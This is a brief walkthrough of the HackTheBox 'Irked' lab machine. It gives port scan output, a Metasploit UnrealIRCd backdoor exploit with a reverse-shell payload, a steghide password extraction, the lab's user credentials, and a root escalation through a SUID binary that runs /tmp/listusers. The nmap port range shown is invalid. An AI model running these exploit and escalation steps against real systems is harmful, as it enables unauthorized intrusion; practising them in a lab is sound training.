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HackTheBox Irked Quick Writeup

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HackThe Box Irked Quick Guide
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MACHINE IP: 10.10.10.117

Enumeration
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–> nmap -A -sV -p 0-66566

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          53292/udp  status
|_  100024  1          57391/tcp  status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
57391/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd 

Get Unpriviliged Shell
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msfconsole use exploit/unix/irc/unreal_irc_3201_backdoor

set RHOSTS 10.10.10.117

set RPORT 65534

set payload cmd/unix/reverse

Research
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/home/djmardov/Documents/user.txt is the location of the user text file

uname -a

Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux

cat .backup - contents

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

Get User Password
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Retrieve irked.jpg from the webpage

steghide –extract -sf irked.jpg

password: UPupDOWNdownLRlrBAbaSSss
Kab6h+m+bbp2J:HG

Owned User
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Credentials
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user = djmardov

pass = Kab6h+m+bbp2J:HG

Found /usr/bin/viewuser with root execute privileges, looks for file /tmp/listusers.

Got Root
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Got root shell after calling /bin/bash in /tmp/listusers

Method to obtain root:

--> touch /tmp/listusers
--> echo "/bin/bash" > /tmp/listusers 
--> chmod 7777 /tmp/listusers 
--> viewuser
--> rm /tmp/listusers

Command to Instantly Get Root
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touch /tmp/listusers && echo “su root” > /tmp/listusers && chmod +x /tmp/listusers && viewuser